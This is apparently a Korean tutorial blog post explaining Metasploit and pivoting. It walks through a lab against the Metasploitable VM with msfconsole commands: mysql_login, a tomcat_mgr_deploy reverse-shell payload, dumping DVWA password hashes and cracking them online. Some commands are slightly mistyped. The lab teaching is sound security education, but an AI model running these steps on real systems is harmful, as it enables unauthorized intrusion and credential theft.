학습개요

취약점 진단 단계는 사전에 획득한 정보를 이용해 다양한 공격 기법으로 침투를 시도하는 단계이다. 취약점 진단 프레임워크로서 빠질 수 없는 강력한 어플리케이션인 메타스플로잇 프레임워크(MSF)에 대해 학습한다. MSF는 오픈 소스 도구로, 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계이다. MSF는 취약점에 대한 정리와 해당 취약점을 이용해서 공격 테스트를 할 수 있는 각종 도구들을 제공하는데 본 게시물에는 이중 메타스플로잇을 이용한 피보팅 공격을 수행할 예정이다.

 

학습내용

. 메타스플로잇의 개념에 대해 이해한다.

. 메타스플로잇의 구성 요소에 대해 학습한다.

. 피보팅의 개념과 사용법을 이해한다.

 

학습내용 1 메타스플로잇

1. 메타스플로잇이란?

메타스플로잇은 해킹을 간단하게 하도록 도와주는 모의 해킹 도구이다. 보안 취약점을 찾고 해킹을 시뮬레이션할 때 사용한다. 취약점 진단 프레임워크에서 빠질 수 없는 메타스플로잇 프레임워크(MSF; MetaSploit Framework)는 개발 및 원격 대상 시스쳄에 대한 공격 코드를 실행하기 위한 도구이다. 오픈 소스 도구로, 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계이다. 오픈 소스 프레임워크이며 최신 취약점을 빠르게 업데이트해주는 장점을 가지고 있다.

참고 사이트: https://www.metasploit.com

2. 메타스플로잇 용어 설명

metasploitable

- metasploitable은 보안 교육을 목적으로 만들어진 해킹 공격에 취약한 가상머신이다. 침투 테스트 기술을 사용하기 유리한 환경으로 구성되어 있어서 다양한 해킹 실습을 진행할 수 있다.

아래 사이트에서 metasploitable을 다운받을 수 있다.

https://sourceforge.net/projects/metasploitable/

계정은 아이디와 비밀번호 모두 msfadmin이다.

exploit

- 보안 취약점을 이용해서 공격자의 의도된 동작을 수행하도록 만들어진 명령이다. 익스플로잇은 공격 행위로서 사용되는 수단을 말하기도 한다. 그 수단이 명령이 될 수도 있고 스크립트 혹은 프로그램이 될 수도 있다. 주로 시스템의 버그나 응용 프로그램 취약점 등 설계상 결함으로 생긴 문제를 이용한다.

Module

- MSF(메타스플로잇)에서 사용하는 소프트웨어의 한 부분이다.

Shellcode

- 셸코드는 대상 시스템에서 실행할 수 있는 명령어 코드의 집합이다. 셸코드는 어셈블리/기계어로 작성된 작은 크기의 코드들이다. 코드들은 다음과 같이 표현된다.

(\x31\xc0\xb0\x31\xcd\x80...)

Payload

- 대상 시스템에 실행시키려고 하는 공격 코드를 말한다.

Meterpreter

- 미터프리터(Meterpreter)는 메타스플로잇에서 제공하는 세션 연결 기능이다. 해킹 공격이 성공하면 원격에서 대상 시스템의 내부 정보를 수집하고 원격으로 명령을 수행할 수 있다. 미터프리터는 DLL 인젝션을 사용하여 실행 중인 다른 프로세스에 특정 DLL 파일을 강제로 주입한다. 또한 메모리를 이용하여 동작하기 때문에 디스크에도 흔적이 남지 않아 공격자를 추적하기 어렵다. 본 공격에서는 미터프리터 쉘을 획득하기 위해 사용될 예정이다.

Nmap

- Nmap은 호스트나 서비스 포트 정보를 수집하는 보안 스캐너 프로그램이다.이 도구를 사용하면 특정 네트워크 대역의 호스트를 스캔하여 사용중인 호스트를 조회할 수 있고 운영중인 서버에서 사용하는 포트를 알아낼 수 있다. Nmap 사용 시 주의할 점은 실제 사이트를 대상으로 하면 해킹 시도로 간주하여 법적 책임을 물게 될수도 있다. 따라서 자기가 구축한 환경에서만 실습을 진행해야 한다.

Listner

- 리스너(Listner)는 어떤 종류의 연결을 대기하는 메타스플로잇을 구성하는 구성 요소이다. 리스너 핸들은 익스플로잇 시스템에 의해 접근이 될 공격 머신을 기다린다.

 

메타스플로잇 인터페이스

- 메타스플로잇 인터페이스는 콘솔, cmd, 그리고 GUI를 제공한다.

MSFConsole

- msfconsole은 프레임워크 내에서 이용 가능한 거의 모든 설정 옵션을 제공하는 툴로 사용된다.

LHOST, LPORT

- LHOST : 공격자의 IP 주소

- LPORT : 공격자의 포트

RHOSTS, RPORT

- RHOSTS : 공격 대상자의 IP 주소

- RPORT : 공격 대상자의 포트

Tomcat

metasplotable에 구동중인 웹서버로 이번 실습에서 관리자 계정의 아이디와 비밀번호를 얻기 위해 사용될 예정이다. 자세한 사항은 블로그를 통해 알아보도록 하자. ( https://jdh5202.tistory.com/619 )

 

 

3. 메타스플로잇 인터페이스

- MSFConsole : 사용자 친화적인 대화형 방식을 사용해 모든 기능에 접근하는 인터페이스

학습내용 2 피보팅(Pivoting)

1. 피보팅(Pivoting)이란?

피보트(pivot)는 네트워크를 통해 이동하는 과정을 말한다. 공격자는 외부에 오픈되어 있는 서버를 1차적으로 공격하고, 웹 서비스와 관련된 애플리케이션 취약점을 통해 시스템에 침투한다고 했을 때 피보팅 공격은 경유 시스템을 이용하여 목적 시스템을 공격하는 기법이다.

시나리오 기반으로 설명하면 해커는 DB 계정정보를 탈취하려고 하는데 DB 보안이 워낙 강력하여 직접 접근하기 어려우면 이때 DB 서버와 연결된 다른 취약한 서버를 공략한다. 해커는 취약한 서버를 공격하여 해당 서버를 다리 삼아서 DB 서버의 정보를 탈취하게 된다. 이러한 일련의 과정들을 피보팅(Pivoting)이라고 할 수 있다.

따라서 pivot공격은 웹 서버의 취약점을 통해서 내부서버에 접근한 뒤에 다시 그 내부 서버의 취약점을 이용하여 내부 네트워크 깊숙히 파고드는 하나의 일련과정을 말한다.

 

학습내용 3 메타스플로잇을 이용한 피보팅 공격 실습

1. 실습 시나리오

이 실습은 메타스플로잇의 구성요소 중 하나인 metasploitable의 기능을 이용한다. metasploitable에는 톰캣과 DVWA(웹 모의해킹 훈련장)가 설치되어 있다. 이것을 통해 metasploitable DB에 저장된 DVWA 로그인 계정과 시스템 계정을 탈취해보도록 할 것이다.

DVWA(웹 모의해킹 훈련장)

2. 실습 준비

1) 가상 머신에 칼리리눅스 설치

Kali-linux-2021.3-i386.iso(32비트)

Kali-linux-2021.3-amd64.iso(64비트)

 

2) 칼리 리눅스에 Metasploit-framework 설치하기

- kali Linux에서는 Metasploit-framework를 포함하고 있기 때문에 다른 설치없이 실행할 수 있다. Ubuntu나 다른 운영체제를 사용할 경우 별도의 설치가 필요하다.

 

3) MSF 업데이트

- 앞서 말했듯이 kali Linux에서 메타스플로잇은 기본으로 깔려있지만 원활한 실습을 진행하기 위해 최신 버전으로 받도록 아래 명령을 수행한다.

: apt-get update

최신 버전으로 업데이트할 패키지들을 확인한다.

: apt-get upgrade

업데이트할 패키지들과 현재 존재하는 패키지들을 비교하며 업데이트를 수행한다.

: apt-install metasploit-framework

MSF 설치 (실행이 되지 않을 경우 설치)

 

4) MSF DB 연동

: service postgresql start

메타스플로잇 DB 서비스를 실행한다.

: msfdb init

메타스플로잇 DB를 생성한다.

: msfconsole

메타스플로잇 프레임워크를 실행한다.

 

5) 가상머신에 metasploitable 설치 (위의 설치 사이트 참고)

다운로드 받은 파일의 압축 해제 -> Vmware 실행

 

압축 해제한 Metasploitable 폴더 안에 있는 파일을 선택

 

Metasploitable 선택 후 실행

여러가지 설정들을 물어보는 것이지만 “I Copied it” 선택

(주의 : 설치시 뭔가 이상하면 재설치 권고. 모듈 실행은 되지만 실습 진행이 안될 수 있음)

 

metasploitable 초기화면

초기 ID, PW: ID : msfadmin / Password : msfadmin

 

6) 로그인 후 ifconfig를 통한 타겟 ip 확인

metasploitableip는 동적으로 할당됨으로 확인해 주어야 한다.

 

3. 해킹 실습

1) 칼리 리눅스에서 터미널을 열고 위의 명령어들을 차례로 입력하여 동작에 오류가 없다면 msfconsole 명령어를 입력하여 서비스를 실행시킨다. (에러 발생시 재설치가 가장 빠를 것 같다.)

- msfconsole (본 명령어는 앞서 실습준비 단계가 모두 끝났을 때를 가정한다.)

 

2) 그 후 nmap 명령어를 통해 공격 대상 IP를 입력 후 실습에 사용될 mysql의 포트번호를 확인한다.

- nmap sV 192.168.38.130 (mysql의 포트번호가 3306이라는 것을 알 수 있다. 이때, nmap의 사용법에 대해서는 앞서 언급한 바가 있기에 넘어가겠다.)

 

3) mysql의 관리자 계정을 알아내기 위해 MSF에서 mysql 로그인과 관련된 모듈을 찾아서 사용한다.

 

- search mysql (본 실습에서는 mysql_login을 활용하여 실습을 진행한다.)

 

- use mysql_login (찾은 모듈로 이동한다.)

 

4) 앞서 알게 된 공격대상의 ip와 포트번호를 가지고 exploit을 진행한다.

- set RHOSTS 공격대상 IP

- set RPORT 공격대상 포트

- exploit (exploit 후 결과를 확인했을 때 아이디와 비밀번호는 콜론으로 구분 짓는다. 위의 결과 값을 봤을 때 아이디가 root이고 비밀번호는 설정이 안되어 있다는 것을 알 수 있다.)

 

5) mysql에 직접적으로 미터프리터 쉘을 획득하려고 여러 모듈로 취약점 공격을 수행해보도록 하겠다. 이때 피보팅 기법을 사용하여 톰캣을 통해 mysql에 접근하고자 한다.

- nmap sV 192.168.38.130 (이를 통해 tomcat의 포트번호가 8180이라는 것을 알 수 있다.)

 

6) 이때, 톰캣의 업로드 취약점인 tomcat_mgr_deploy를 사용하여 미터프리터 쉘을 획득해보자. (본 실습은 피보팅을 이용한 공격이기 때문에 톰캣의 자세한 설명은 건너뛰도록 한다.)

- search tomcat

- use tomcat_mgr_deploy (찾은 모듈로 이동한다.)

사용할 모듈은 파일 업로드 취약점 모듈인 tomcat_mgr_deploy이다. (톰캣 서버의 war 확장자 파일이 올라가야 하는지 먼저 확인. HttpPassword, HttpUsername에 관리자 계정과 기본적인 네트워크 정보를 넣어준다.)

- set payload java/shell/reverse_tcp (exploit할 때 페이로드를 reverse_tcp로 선택 )

- exploit (exploit을 실행한 결과 미터프리터가 연결된 것을 확인할 수 있다. )

그리고 아래와 같이 meterpreter에서 shell 명령을 입력하면 피해지의 시스템 셀로 진입한다.

- shell (쉘일 없을 시 /bin/bash로 선택하고 피해지의 시스템 설계로 진입한다.)

이렇게 획득한 시스템 셀에는 특정 버그가 존재한다. 해당 버그는 정상적인 명령이랑 비정상적인 명령어를 같이 실행하면 비정상적인 명령어도 같이 실행된다는 점이다.

 

7) 여기 까지 톰캣을 이용하여 피해자 시스템에 접속을 성공했으니 이제 시스템 셀에서 DB의 목록을 조회하고 DB의 테이블을 알아내어 계정 정보를 확인해보자.

- mysql u root (mysql 접속)

- use dvwa; (dvwa 데이터베이스를 연결)

- select * from users[테이블명]; (users 테이블의 데이터를 조회하는 쿼리문을 작성, 쿼리 조회 결과 사용자의 계정 정보가 모두 출력된 것을 확인할 수 있다.)

: 사용자 목록 확인

admin admin : 5f4dcc3b5aa765d61d8327deb882cf99

Gorden Brown : e99a18c428cb38d5f260853678922e03

Hack me : 8d3533d75ae2c3966d7e0d4fcc69216b

Pablo Picasso : 0d107d09f5bbe40cade3de5c71e9e9b7

Bob Smith : 5f4dcc3b5aa765d61d8327deb882cf99

 

4. 결과 정리

쿼리 조회 결과 사용자의 계정 정보가 모두 출력된 것을 확인할 수 있다. 그러나 암호는 그대로 노출되면 보안에 취약하기 때문에 패스워드가 해시 방식으로 암호화되어 패스워드 정보를 확인할 수 없다. 하지만 우리에겐 패스워드 크랙 프로그램인 john the ripper가 있다. 다만 실습 중 john the ripper의 실습을 진행한 적이 있고 본 보고서는 피보팅 공격을 주로 다루기 때문에 해시 방식으로 암호화된 패스워드는 해시를 크랙해주는 사이트에서 진행하는 것으로 마무리하도록 하겠다.

https://crackstation.net/ (시간이 없는 인원들을 위한 복호화 사이트)

crackstation의 패스워드 복호화 화면

다음과 같이 해시를 크랙해주는 사이트에 해시 방식으로 암호화된 패스워드를 넣고 크랙을 진행하면 결과값이 나오게 된다. resultpassword라고 한다. 그럼 이 값을 실제로 DVWA에서 저 계정 정보로 로그인을 시도해 보도록 하자.

metasploitable 사이트에서 결과 값을 입력

id : admin / password : password

크랙 성공화면

정상적으로 admin 계정에 접속이 성공한 것을 볼 수 있다.

복사했습니다!